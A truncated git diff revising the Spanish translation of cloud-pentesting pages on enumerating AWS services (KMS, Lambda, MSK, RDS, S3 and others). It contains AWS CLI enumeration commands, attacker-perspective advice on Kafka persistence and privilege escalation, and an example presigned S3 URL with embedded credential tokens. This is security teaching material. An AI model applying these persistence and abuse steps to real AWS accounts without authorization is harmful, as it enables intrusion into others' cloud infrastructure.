claves de tu infraestructura de claves local. KMS se cobra por el número de solicitudes de cifrado/descifrado recibidas de todos los servicios por mes. -KMS tiene una completa auditoría e **integración de cumplimiento con CloudTrail**; aquí es donde puedes auditar todos los cambios realizados en KMS. +KMS tiene una completa auditoría y **integración de cumplimiento con CloudTrail**; aquí es donde puedes auditar todos los cambios realizados en KMS. Con la política de KMS puedes hacer lo siguiente: -- Limitar quién puede crear claves de datos y qué servicios tienen acceso para usar estas claves -- Limitar el acceso de los sistemas a cifrar solo, descifrar solo o ambos +- Limitar quién puede crear claves de datos y qué servicios tienen acceso para usar estas claves. +- Limitar el acceso de los sistemas a cifrar solo, descifrar solo o ambos. - Definir para habilitar a los sistemas a acceder a claves a través de regiones (aunque no se recomienda, ya que una falla en la región que aloja KMS afectará la disponibilidad de los sistemas en otras regiones). No puedes sincronizar o mover/copiar claves entre regiones; solo puedes definir reglas para permitir el acceso entre regiones. @@ -135,13 +135,13 @@ aws kms describe-custom-key-stores ../aws-privilege-escalation/aws-kms-privesc.md {{#endref}} -### Post Exploitation +### Post Explotación {{#ref}} ../aws-post-exploitation/aws-kms-post-exploitation.md {{#endref}} -### Persistence +### Persistencia {{#ref}} ../aws-persistence/aws-kms-persistence.md diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-lambda-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-lambda-enum.md index 92a976f17..04e45669b 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-lambda-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-lambda-enum.md @@ -4,9 +4,9 @@ ## Lambda -Amazon Web Services (AWS) Lambda se describe como un **servicio de computación** que permite la ejecución de código sin la necesidad de provisión o gestión de servidores. Se caracteriza por su capacidad de **manejar automáticamente la asignación de recursos** necesarios para la ejecución del código, asegurando características como alta disponibilidad, escalabilidad y seguridad. Un aspecto significativo de Lambda es su modelo de precios, donde **los cargos se basan únicamente en el tiempo de computación utilizado**, eliminando la necesidad de inversiones iniciales o compromisos a largo plazo. +Amazon Web Services (AWS) Lambda se describe como un **servicio de computación** que permite la ejecución de código sin la necesidad de provisión o gestión de servidores. Se caracteriza por su capacidad de **manejar automáticamente la asignación de recursos** necesarios para la ejecución del código, asegurando características como alta disponibilidad, escalabilidad y seguridad. Un aspecto significativo de Lambda es su modelo de precios, donde **los cargos se basan únicamente en el tiempo de computación utilizado**, eliminando la necesidad de inversiones iniciales u obligaciones a largo plazo. -Para llamar a una lambda, es posible llamarla **tan frecuentemente como desees** (con Cloudwatch), **exponer** un **endpoint** de **URL** y llamarlo, llamarlo a través de **API Gateway** o incluso basarse en **eventos** como **cambios** en los datos en un **bucket** de **S3** o actualizaciones a una tabla de **DynamoDB**. +Para llamar a una lambda, es posible llamarla **tan frecuentemente como desees** (con Cloudwatch), **exponer** un **endpoint** de **URL** y llamarla, llamarla a través de **API Gateway** o incluso basarse en **eventos** como **cambios** en los datos en un **S3** bucket o actualizaciones a una tabla de **DynamoDB**. El **código** de una lambda se almacena en **`/var/task`**. @@ -14,7 +14,7 @@ El **código** de una lambda se almacena en **`/var/task`**. Una Lambda puede tener **varias versiones**.\ Y puede tener **más de 1** versión expuesta a través de **alias**. Los **pesos** de **cada** una de las **versiones** expuestas dentro de un alias decidirán **qué alias recibe la invocación** (puede ser 90%-10% por ejemplo).\ -Si el código de **uno** de los alias es **vulnerable**, puedes enviar **solicitudes hasta que la versión vulnerable** reciba el exploit. +Si el código de **uno** de los alias es **vulnerable**, puedes enviar **solicitudes hasta que la versión vulnerable reciba el exploit**. ![](<../../../images/image (223).png>) @@ -36,7 +36,7 @@ Entonces, si tus **funciones Lambda interactúan con RDS Proxy en lugar** de tu ### Sistemas de Archivos EFS de Lambda -Para preservar e incluso compartir datos, **las Lambdas pueden acceder a EFS y montarlos**, por lo que Lambda podrá leer y escribir desde él. +Para preservar e incluso compartir datos, **las Lambdas pueden acceder a EFS y montarlos**, por lo que Lambda podrá leer y escribir desde ellos. ### Capas de Lambda @@ -44,7 +44,7 @@ Una capa de Lambda es un archivo .zip que **puede contener código adicional** u Es posible incluir hasta **cinco capas por función**. Cuando incluyes una capa en una función, el **contenido se extrae en el directorio `/opt`** en el entorno de ejecución. -Por **defecto**, las **capas** que creas son **privadas** para tu cuenta de AWS. Puedes elegir **compartir** una capa con otras cuentas o **hacer** que la capa sea **pública**. Si tus funciones consumen una capa que una cuenta diferente publicó, tus funciones pueden **seguir utilizando la versión de la capa después de que haya sido eliminada, o después de que se revoque tu permiso para acceder a la capa**. Sin embargo, no puedes crear una nueva función o actualizar funciones utilizando una versión de capa eliminada. +Por **defecto**, las **capas** que creas son **privadas** para tu cuenta de AWS. Puedes optar por **compartir** una capa con otras cuentas o **hacer** que la capa sea **pública**. Si tus funciones consumen una capa que una cuenta diferente publicó, tus funciones pueden **seguir utilizando la versión de la capa después de que haya sido eliminada, o después de que se revoque tu permiso para acceder a la capa**. Sin embargo, no puedes crear una nueva función o actualizar funciones utilizando una versión de capa eliminada. Las funciones desplegadas como una imagen de contenedor no utilizan capas. En su lugar, empaquetas tu runtime preferido, bibliotecas y otras dependencias en la imagen de contenedor cuando construyes la imagen. @@ -52,8 +52,8 @@ Las funciones desplegadas como una imagen de contenedor no utilizan capas. En su Las extensiones de Lambda mejoran las funciones al integrarse con varias **herramientas de monitoreo, observabilidad, seguridad y gobernanza**. Estas extensiones, añadidas a través de [.zip archives usando capas de Lambda](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) o incluidas en [despliegues de imágenes de contenedor](https://aws.amazon.com/blogs/compute/working-with-lambda-layers-and-extensions-in-container-images/), operan en dos modos: **interno** y **externo**. -- **Extensiones internas** se fusionan con el proceso de runtime, manipulando su inicio usando **variables de entorno específicas del lenguaje** y **scripts envolventes**. Esta personalización se aplica a una variedad de runtimes, incluyendo **Java Correto 8 y 11, Node.js 10 y 12, y .NET Core 3.1**. -- **Extensiones externas** se ejecutan como procesos separados, manteniendo la alineación de operación con el ciclo de vida de la función Lambda. Son compatibles con varios runtimes como **Node.js 10 y 12, Python 3.7 y 3.8, Ruby 2.5 y 2.7, Java Corretto 8 y 11, .NET Core 3.1**, y **runtimes personalizados**. +- **Las extensiones internas** se fusionan con el proceso de ejecución, manipulando su inicio utilizando **variables de entorno específicas del lenguaje** y **scripts envolventes**. Esta personalización se aplica a una variedad de runtimes, incluyendo **Java Correto 8 y 11, Node.js 10 y 12, y .NET Core 3.1**. +- **Las extensiones externas** se ejecutan como procesos separados, manteniendo la alineación de operación con el ciclo de vida de la función Lambda. Son compatibles con varios runtimes como **Node.js 10 y 12, Python 3.7 y 3.8, Ruby 2.5 y 2.7, Java Corretto 8 y 11, .NET Core 3.1**, y **runtimes personalizados**. ### Enumeración ```bash diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-lightsail-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-lightsail-enum.md index 72e8e8f2b..f01c77731 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-lightsail-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-lightsail-enum.md @@ -4,7 +4,7 @@ ## AWS - Lightsail -Amazon Lightsail proporciona una **manera** fácil y ligera para que los nuevos usuarios de la nube aprovechen los servicios de computación en la nube de AWS. Permite desplegar servicios web comunes y personalizados en segundos a través de **VMs** (**EC2**) y **contenedores**.\ +Amazon Lightsail proporciona una forma **fácil** y ligera para que los nuevos usuarios de la nube aprovechen los servicios de computación en la nube de AWS. Permite desplegar servicios web comunes y personalizados en segundos a través de **VMs** (**EC2**) y **contenedores**.\ Es un **EC2 mínimo + Route53 + ECS**. ### Enumeration @@ -34,7 +34,7 @@ Es posible generar **instantáneas de instancias y bases de datos relacionales d ### Metadatos -**El endpoint de metadatos es accesible desde lightsail**, pero las máquinas están ejecutándose en una **cuenta de AWS administrada por AWS**, por lo que no controlas **qué permisos se están otorgando**. Sin embargo, si encuentras una manera de explotarlos, estarías explotando directamente AWS. +**El endpoint de metadatos es accesible desde lightsail**, pero las máquinas están ejecutándose en una **cuenta de AWS gestionada por AWS**, por lo que no controlas **qué permisos se están otorgando**. Sin embargo, si encuentras una manera de explotar eso, estarías explotando directamente AWS. ### Privesc diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-mq-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-mq-enum.md index 6c664647f..e96d8e06f 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-mq-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-mq-enum.md @@ -6,7 +6,7 @@ ### Introducción a los intermediarios de mensajes -**Los intermediarios de mensajes** sirven como intermediarios, facilitando la comunicación entre diferentes sistemas de software, que pueden estar construidos en diversas plataformas y programados en diferentes lenguajes. **Amazon MQ** simplifica el despliegue, operación y mantenimiento de intermediarios de mensajes en AWS. Proporciona servicios gestionados para **Apache ActiveMQ** y **RabbitMQ**, asegurando un aprovisionamiento sin problemas y actualizaciones automáticas de versiones de software. +**Los intermediarios de mensajes** sirven como intermediarios, facilitando la comunicación entre diferentes sistemas de software, que pueden estar construidos en diversas plataformas y programados en diferentes lenguajes. **Amazon MQ** simplifica el despliegue, operación y mantenimiento de intermediarios de mensajes en AWS. Proporciona servicios gestionados para **Apache ActiveMQ** y **RabbitMQ**, asegurando aprovisionamiento sin problemas y actualizaciones automáticas de versiones de software. ### AWS - RabbitMQ @@ -14,7 +14,7 @@ RabbitMQ es un prominente **software de cola de mensajes**, también conocido co ### AWS - ActiveMQ -Apache ActiveMQ® es un destacado **intermediario de mensajes** de código abierto basado en Java, conocido por su versatilidad. Soporta múltiples protocolos estándar de la industria, ofreciendo una amplia compatibilidad con clientes en una variedad de lenguajes y plataformas. Los usuarios pueden: +Apache ActiveMQ® es un destacado **intermediario de mensajes** de código abierto basado en Java, conocido por su versatilidad. Soporta múltiples protocolos estándar de la industria, ofreciendo amplia compatibilidad con clientes a través de una amplia gama de lenguajes y plataformas. Los usuarios pueden: - Conectarse con clientes escritos en JavaScript, C, C++, Python, .Net, y más. - Aprovechar el protocolo **AMQP** para integrar aplicaciones de diferentes plataformas. diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-msk-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-msk-enum.md index 4b14dcdd4..b5cf92d2a 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-msk-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-msk-enum.md @@ -4,9 +4,9 @@ ## Amazon MSK -**Amazon Managed Streaming for Apache Kafka (Amazon MSK)** es un servicio que está completamente gestionado, facilitando el desarrollo y la ejecución de aplicaciones que procesan datos en streaming a través de **Apache Kafka**. Las operaciones del plano de control, incluyendo la creación, actualización y eliminación de **clusters**, son ofrecidas por Amazon MSK. El servicio permite la utilización de operaciones del plano de datos de Apache Kafka, abarcando la producción y consumo de datos. Funciona con **versiones de código abierto de Apache Kafka**, asegurando la compatibilidad con aplicaciones, herramientas y complementos existentes tanto de socios como de la **comunidad de Apache Kafka**, eliminando la necesidad de alteraciones en el código de la aplicación. +**Amazon Managed Streaming for Apache Kafka (Amazon MSK)** es un servicio completamente gestionado que facilita el desarrollo y la ejecución de aplicaciones que procesan datos en streaming a través de **Apache Kafka**. Las operaciones del plano de control, incluyendo la creación, actualización y eliminación de **clusters**, son ofrecidas por Amazon MSK. El servicio permite la utilización de operaciones del plano de datos de Apache Kafka, abarcando la producción y consumo de datos. Funciona con **versiones de código abierto de Apache Kafka**, asegurando la compatibilidad con aplicaciones, herramientas y complementos existentes tanto de socios como de la **comunidad de Apache Kafka**, eliminando la necesidad de alteraciones en el código de la aplicación. -En términos de fiabilidad, Amazon MSK está diseñado para **detectar y recuperarse automáticamente de escenarios de fallos de cluster prevalentes**, asegurando que las aplicaciones de productor y consumidor continúen en sus actividades de escritura y lectura de datos con mínima interrupción. Además, busca optimizar los procesos de replicación de datos al intentar **reutilizar el almacenamiento de brokers reemplazados**, minimizando así el volumen de datos que necesita ser replicado por Apache Kafka. +En términos de fiabilidad, Amazon MSK está diseñado para **detectar y recuperarse automáticamente de escenarios comunes de fallos en clusters**, asegurando que las aplicaciones de productores y consumidores continúen con sus actividades de escritura y lectura de datos con mínima interrupción. Además, busca optimizar los procesos de replicación de datos al intentar **reutilizar el almacenamiento de brokers reemplazados**, minimizando así el volumen de datos que necesita ser replicado por Apache Kafka. ### **Tipos** @@ -14,8 +14,8 @@ Hay 2 tipos de clusters de Kafka que AWS permite crear: Provisionados y Sin Serv Desde el punto de vista de un atacante, necesitas saber que: -- **Sin Servidor no puede ser público directamente** (solo puede ejecutarse en una VPN sin ninguna IP expuesta públicamente). Sin embargo, **Provisionados** pueden configurarse para obtener una **IP pública** (por defecto no lo hacen) y configurar el **grupo de seguridad** para **exponer** los puertos relevantes. -- **Sin Servidor** **solo soporta IAM** como método de autenticación. **Provisionados** soportan autenticación SASL/SCRAM (**contraseña**), autenticación **IAM**, autenticación de AWS **Certificate** Manager (ACM) y acceso **No Autenticado**. +- **Sin Servidor no puede ser público directamente** (solo puede ejecutarse en una VPN sin ninguna IP expuesta públicamente). Sin embargo, **Provisionado** puede configurarse para obtener una **IP pública** (por defecto no lo tiene) y configurar el **grupo de seguridad** para **exponer** los puertos relevantes. +- **Sin Servidor** **solo soporta IAM** como método de autenticación. **Provisionado** soporta autenticación SASL/SCRAM (**contraseña**), autenticación **IAM**, autenticación de AWS **Certificate** Manager (ACM) y acceso **No Autenticado**. - Ten en cuenta que no es posible exponer públicamente un Kafka Provisionado si el acceso no autenticado está habilitado. ### Enumeración @@ -42,7 +42,7 @@ aws kafka describe-configuration-revision --arn --revision ``` -### Acceso IAM de Kafka (en serverless) +### Acceso IAM a Kafka (en serverless) ```bash # Guide from https://docs.aws.amazon.com/msk/latest/developerguide/create-serverless-cluster.html # Download Kafka @@ -86,7 +86,7 @@ kafka_2.12-2.8.1/bin/kafka-console-consumer.sh --bootstrap-server $BS --consumer ### Persistencia -Si vas a **tener acceso a la VPC** donde se encuentra un Kafka Provisionado, podrías **habilitar acceso no autorizado**, si **la autenticación SASL/SCRAM**, **lees** la contraseña del secreto, das algunos **otros permisos de usuario controlados de IAM** (si se usa IAM o serverless) o persistes con **certificados**. +Si vas a **tener acceso a la VPC** donde se encuentra un Kafka Provisionado, podrías **habilitar acceso no autorizado**, si **la autenticación SASL/SCRAM**, **leer** la contraseña del secreto, otorgar algunos **permisos IAM a otro usuario controlado** (si se usa IAM o sin servidor) o persistir con **certificados**. ## Referencias diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-organizations-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-organizations-enum.md index e7d3dea8e..aee0e8b5b 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-organizations-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-organizations-enum.md @@ -1,4 +1,4 @@ -# AWS - Organizations Enum +# AWS - Enumeración de Organizaciones {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-other-services-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-other-services-enum.md index e62ef8199..009c776a1 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-other-services-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-other-services-enum.md @@ -1,4 +1,4 @@ -# AWS - Otras Servicios Enum +# AWS - Enumeración de Otros Servicios {{#include ../../../banners/hacktricks-training.md}} @@ -13,7 +13,7 @@ aws directconnect describe-virtual-interfaces ``` ## Soporte -En AWS, puedes acceder a casos de soporte actuales y anteriores a través de la API. +En AWS, puedes acceder a los casos de soporte actuales y anteriores a través de la API. ``` aws support describe-cases --include-resolved-cases ``` diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-redshift-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-redshift-enum.md index d16b52b6a..86ce8071f 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-redshift-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-redshift-enum.md @@ -4,7 +4,7 @@ ## Amazon Redshift -Redshift es un servicio completamente gestionado que puede escalar hasta más de un petabyte de tamaño, que se utiliza como un **almacenamiento de datos para soluciones de big data**. Usando clústeres de Redshift, puedes ejecutar análisis sobre tus conjuntos de datos utilizando herramientas de consulta rápidas basadas en SQL y aplicaciones de inteligencia empresarial para obtener una mayor comprensión de la visión de tu negocio. +Redshift es un servicio completamente gestionado que puede escalar hasta más de un petabyte de tamaño, que se utiliza como un **almacén de datos para soluciones de big data**. Usando clústeres de Redshift, puedes ejecutar análisis sobre tus conjuntos de datos utilizando herramientas de consulta rápidas basadas en SQL y aplicaciones de inteligencia empresarial para obtener una mayor comprensión de la visión de tu negocio. **Redshift ofrece cifrado en reposo utilizando una jerarquía de cuatro niveles de claves de cifrado utilizando KMS o CloudHSM para gestionar el nivel superior de claves**. **Cuando el cifrado está habilitado para tu clúster, no se puede desactivar y viceversa**. Cuando tienes un clúster sin cifrar, no se puede cifrar. @@ -34,7 +34,7 @@ Al trabajar con CloudHSM para realizar tu cifrado, primero debes establecer una Esta conexión es necesaria para proporcionar comunicaciones seguras, permitiendo que las claves de cifrado se envíen entre tu cliente HSM y tus clústeres de Redshift. Usando un par de claves privadas y públicas generadas aleatoriamente, Redshift crea un certificado de cliente público, que es cifrado y almacenado por Redshift. Este debe ser descargado y registrado en tu cliente HSM, y asignado a la partición HSM correcta. -Luego debes configurar Redshift con los siguientes detalles de tu cliente HSM: la dirección IP del HSM, el nombre de la partición HSM, la contraseña de la partición HSM y el certificado del servidor HSM público, que es cifrado por CloudHSM usando una clave maestra interna. Una vez que se ha proporcionado esta información, Redshift confirmará y verificará que puede conectarse y acceder a la partición de desarrollo. +Debes configurar Redshift con los siguientes detalles de tu cliente HSM: la dirección IP del HSM, el nombre de la partición HSM, la contraseña de la partición HSM y el certificado público del servidor HSM, que es cifrado por CloudHSM usando una clave maestra interna. Una vez que se ha proporcionado esta información, Redshift confirmará y verificará que puede conectarse y acceder a la partición de desarrollo. Si tus políticas de seguridad internas o controles de gobernanza dictan que debes aplicar rotación de claves, entonces esto es posible con Redshift, permitiéndote rotar claves de cifrado para clústeres cifrados; sin embargo, debes ser consciente de que durante el proceso de rotación de claves, hará que un clúster no esté disponible por un período de tiempo muy corto, por lo que es mejor rotar claves solo cuando sea necesario, o si sientes que pueden haber sido comprometidas. diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-relational-database-rds-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-relational-database-rds-enum.md index a4094174a..42d383d51 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-relational-database-rds-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-relational-database-rds-enum.md @@ -10,12 +10,12 @@ AWS RDS soporta varios motores de bases de datos relacionales ampliamente utiliz Las características clave de RDS incluyen: -- **La gestión de instancias de base de datos** se simplifica. +- **La gestión de instancias de base de datos** es simplificada. - Creación de **réplicas de lectura** para mejorar el rendimiento de lectura. - Configuración de **despliegues en múltiples Zonas de Disponibilidad (AZ)** para asegurar alta disponibilidad y mecanismos de conmutación por error. - **Integración** con otros servicios de AWS, como: - AWS Identity and Access Management (**IAM**) para un control de acceso robusto. -- AWS **CloudWatch** para monitoreo y métricas completas. +- AWS **CloudWatch** para monitoreo y métricas integrales. - AWS Key Management Service (**KMS**) para asegurar la encriptación en reposo. ## Credenciales @@ -47,7 +47,7 @@ Además, el **puerto de la base de datos puede ser modificado** también. **La encriptación está habilitada por defecto** utilizando una clave gestionada por AWS (se podría elegir una CMK en su lugar). Al habilitar tu encriptación, estás habilitando **la encriptación en reposo para tu almacenamiento, instantáneas, réplicas de lectura y tus copias de seguridad**. Las claves para gestionar esta encriptación pueden ser emitidas utilizando **KMS**.\ -No es posible añadir este nivel de encriptación después de que tu base de datos ha sido creada. **Debe hacerse durante su creación**. +No es posible añadir este nivel de encriptación después de que tu base de datos ha sido creada. **Tiene que hacerse durante su creación**. Sin embargo, hay un **método alternativo que te permite encriptar una base de datos no encriptada de la siguiente manera**. Puedes crear una instantánea de tu base de datos no encriptada, crear una copia encriptada de esa instantánea, usar esa instantánea encriptada para crear una nueva base de datos y, finalmente, tu base de datos estaría encriptada. @@ -61,8 +61,8 @@ Para utilizar TDE, se requieren ciertos pasos preliminares: - La base de datos debe estar asociada con un grupo de opciones. Los grupos de opciones sirven como contenedores para configuraciones y características, facilitando la gestión de bases de datos, incluyendo mejoras de seguridad. - Sin embargo, es importante notar que los grupos de opciones solo están disponibles para motores de bases de datos y versiones específicas. 2. **Inclusión de TDE en el Grupo de Opciones**: -- Una vez asociada con un grupo de opciones, la opción de Encriptación de Datos Transparente de Oracle debe ser incluida en ese grupo. -- Es esencial reconocer que una vez que la opción TDE se añade a un grupo de opciones, se convierte en un elemento permanente y no puede ser eliminada. +- Una vez asociado con un grupo de opciones, la opción de Encriptación de Datos Transparente de Oracle necesita ser incluida en ese grupo. +- Es esencial reconocer que una vez que la opción TDE se añade a un grupo de opciones, se convierte en una característica permanente y no puede ser eliminada. 3. **Modos de Encriptación TDE**: - TDE ofrece dos modos de encriptación distintos: - **Encriptación de Tablespace TDE**: Este modo encripta tablas enteras, proporcionando un alcance más amplio de protección de datos. diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-route53-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-route53-enum.md index 050718343..e03e15e55 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-route53-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-route53-enum.md @@ -5,7 +5,7 @@ ## Route 53 Amazon Route 53 es un servicio web de **Sistema de Nombres de Dominio (DNS)** en la nube.\ -Puedes crear chequeos de salud **https, http y tcp para páginas web** a través de Route53. +Puedes crear **verificaciones de salud para páginas web** https, http y tcp a través de Route53. ### Enrutamiento basado en IP diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-s3-athena-and-glacier-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-s3-athena-and-glacier-enum.md index b98eac041..94621d367 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-s3-athena-and-glacier-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-s3-athena-and-glacier-enum.md @@ -1,10 +1,10 @@ -# AWS - S3, Athena & Glacier Enum +# AWS - S3, Athena y Glacier Enum {{#include ../../../banners/hacktricks-training.md}} ## S3 -Amazon S3 es un servicio que te permite **almacenar grandes cantidades de datos**. +Amazon S3 es un servicio que permite **almacenar grandes cantidades de datos**. Amazon S3 proporciona múltiples opciones para lograr la **protección** de datos en reposo. Las opciones incluyen **Permisos** (Política), **Cifrado** (Lado del Cliente y del Servidor), **Versionado de Bucket** y **eliminación basada en MFA**. El **usuario puede habilitar** cualquiera de estas opciones para lograr la protección de datos. **La replicación de datos** es una función interna de AWS donde **S3 replica automáticamente cada objeto en todas las Zonas de Disponibilidad** y la organización no necesita habilitarla en este caso. @@ -20,20 +20,20 @@ Además, la eliminación basada en MFA evitará que las versiones de archivo en Es posible **habilitar el registro de acceso a S3** (que por defecto está deshabilitado) para algún bucket y guardar los registros en un bucket diferente para saber quién está accediendo al bucket (ambos buckets deben estar en la misma región). -### URLs prefirmadas de S3 +### URLs Presignadas de S3 -Es posible generar una URL prefirmada que generalmente se puede usar para **acceder al archivo especificado** en el bucket. Una **URL prefirmada se ve así**: +Es posible generar una URL presignada que generalmente se puede usar para **acceder al archivo especificado** en el bucket. Una **URL presignada se ve así**: ``` https://.s3.us-east-1.amazonaws.com/asd.txt?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=ASIAUUE8GZC4S5L3TY3P%2F20230227%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20230227T142551Z&X-Amz-Expires=3600&X-Amz-SignedHeaders=host&X-Amz-Security-Token=IQoJb3JpZ2luX2VjELf%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FwEaCXVzLWVhc3QtMSJHMEUCIBhQpdETJO3HKKDk2hjNIrPWwBE8gZaQccZFV3kCpPCWAiEAid3ueDtFFU%2FOQfUpvxYTGO%2BHoS4SWDMUrQAE0pIaB40qggMIYBAAGgwzMTgxNDIxMzg1NTMiDJLI5t7gr2EGxG1Y5CrfAioW0foHIQ074y4gvk0c%2B%2Fmqc7cNWb1njQslQkeePHkseJ3owzc%2FCwkgE0EuZTd4mw0aJciA2XIbJRCLPWTb%2FCBKPnIMJ5aBzIiA2ltsiUNQTTUxYmEgXZoJ6rFYgcodnmWW0Et4Xw59UlHnCDB2bLImxPprriyCzDDCD6nLyp3J8pFF1S8h3ZTJE7XguA8joMs4%2B2B1%2FeOZfuxXKyXPYSKQOOSbQiHUQc%2BFnOfwxleRL16prWk1t7TamvHR%2Bt3UgMn5QWzB3p8FgWwpJ6GjHLkYMJZ379tkimL1tJ7o%2BIod%2FMYrS7LDCifP9d%2FuYOhKWGhaakPuJKJh9fl%2B0vGl7kmApXigROxEWon6ms75laXebltsWwKcKuYca%2BUWu4jVJx%2BWUfI4ofoaGiCSaKALTqwu4QNBRT%2BMoK6h%2BQa7gN7JFGg322lkxRY53x27WMbUE4unn5EmI54T4dWt1%2Bg8ljDS%2BvKfBjqmAWRwuqyfwXa5YC3xxttOr3YVvR6%2BaXpzWtvNJQNnb6v0uI3%2BTtTexZkJpLQYqFcgZLQSxsXWSnf988qvASCIUhAzp2UnS1uqy7QjtD5T73zksYN2aesll7rvB80qIuujG6NOdHnRJ2M5%2FKXXNo1Yd15MtzPuSjRoSB9RSMon5jFu31OrQnA9eCUoawxbB0nHqwK8a43CKBZHhA8RoUAJW%2B48EuFsp3U%3D&X-Amz-Signature=3436e4139e84dbcf5e2e6086c0ebc92f4e1e9332b6fda24697bc339acbf2cdfa ``` -Una URL prefirmada se puede **crear desde la cli utilizando credenciales de un principal con acceso al objeto** (si la cuenta que usas no tiene acceso, se creará una URL prefirmada más corta pero será inútil) +Una URL prefirmada puede ser **creada desde la cli utilizando credenciales de un principal con acceso al objeto** (si la cuenta que usas no tiene acceso, se creará una URL prefirmada más corta pero será inútil) ```bash aws s3 presign --region 's3:///' ``` > [!NOTE] -> El único permiso requerido para generar una URL firmada por anticipado es el permiso que se está otorgando, por lo que para el comando anterior, el único permiso que necesita el principal es `s3:GetObject` +> El único permiso requerido para generar una URL firmada es el permiso que se está otorgando, por lo que para el comando anterior el único permiso que necesita el principal es `s3:GetObject` -También es posible crear URLs firmadas por anticipado con **otros permisos**: +También es posible crear URLs firmadas con **otros permisos**: ```python import boto3 url = boto3.client('s3').generate_presigned_url( @@ -42,7 +42,7 @@ Params={'Bucket': 'BUCKET_NAME', 'Key': 'OBJECT_KEY'}, ExpiresIn=3600 ) ``` -### Mecanismos de Cifrado de S3 +### Mecanismos de Cifrado S3 **DEK significa Clave de Cifrado de Datos** y es la clave que siempre se genera y se utiliza para cifrar datos. @@ -59,7 +59,7 @@ Esta opción requiere una configuración mínima y toda la gestión de las clave - DEK cifrado + Clave Maestra de S3 --> DEK en texto plano - DEK en texto plano + Datos cifrados --> Datos del objeto -Por favor, ten en cuenta que en este caso **la clave es gestionada por AWS** (rotación solo cada 3 años). Si usas tu propia clave, podrás rotar, deshabilitar y aplicar control de acceso. +Por favor, ten en cuenta que en este caso **la clave es gestionada por AWS** (rotación solo cada 3 años). Si usas tu propia clave, podrás rotar, desactivar y aplicar control de acceso.
@@ -67,7 +67,7 @@ Por favor, ten en cuenta que en este caso **la clave es gestionada por AWS** (ro Cifrado del lado del servidor con claves gestionadas por KMS, SSE-KMS -Este método permite a S3 utilizar el servicio de gestión de claves para generar tus claves de cifrado de datos. KMS te ofrece una flexibilidad mucho mayor en cómo se gestionan tus claves. Por ejemplo, puedes deshabilitar, rotar y aplicar controles de acceso a la CMK, y ordenar en contra de su uso utilizando AWS Cloud Trail. +Este método permite a S3 utilizar el servicio de gestión de claves para generar tus claves de cifrado de datos. KMS te ofrece una flexibilidad mucho mayor en cómo se gestionan tus claves. Por ejemplo, puedes desactivar, rotar y aplicar controles de acceso a la CMK, y ordenar en contra de su uso utilizando AWS Cloud Trail. - Cifrado: - S3 solicita claves de datos a KMS CMK @@ -87,7 +87,7 @@ Este método permite a S3 utilizar el servicio de gestión de claves para genera Esta opción te da la oportunidad de proporcionar tu propia clave maestra que ya puedes estar utilizando fuera de AWS. Tu clave proporcionada por el cliente se enviaría con tus datos a S3, donde S3 realizaría el cifrado por ti. - Cifrado: -- El usuario envía los datos del objeto + clave del cliente a S3 +- El usuario envía los datos del objeto + Clave del cliente a S3 - La clave del cliente se utiliza para cifrar los datos y los datos cifrados se almacenan - también se almacena un valor HMAC salado de la clave del cliente para futuras validaciones de clave - la clave del cliente se elimina de la memoria @@ -229,7 +229,7 @@ aws s3api put-object-acl --bucket --key flag --access-control-poli ``` ### dual-stack -Puedes acceder a un bucket de S3 a través de un endpoint de doble pila utilizando un nombre de endpoint de estilo hospedado virtual o de estilo de ruta. Estos son útiles para acceder a S3 a través de IPv6. +Puedes acceder a un bucket de S3 a través de un endpoint de doble pila utilizando un nombre de endpoint de estilo virtual hospedado o de estilo de ruta. Estos son útiles para acceder a S3 a través de IPv6. Los endpoints de doble pila utilizan la siguiente sintaxis: @@ -238,7 +238,7 @@ Los endpoints de doble pila utilizan la siguiente sintaxis: ### Privesc -En la siguiente página puedes consultar cómo **abusar de los permisos de S3 para escalar privilegios**: +En la siguiente página puedes verificar cómo **abusar de los permisos de S3 para escalar privilegios**: {{#ref}} ../aws-privilege-escalation/aws-s3-privesc.md @@ -270,7 +270,7 @@ En la siguiente página puedes consultar cómo **abusar de los permisos de S3 pa ## Amazon Athena -Amazon Athena es un servicio de consulta interactivo que facilita **analizar 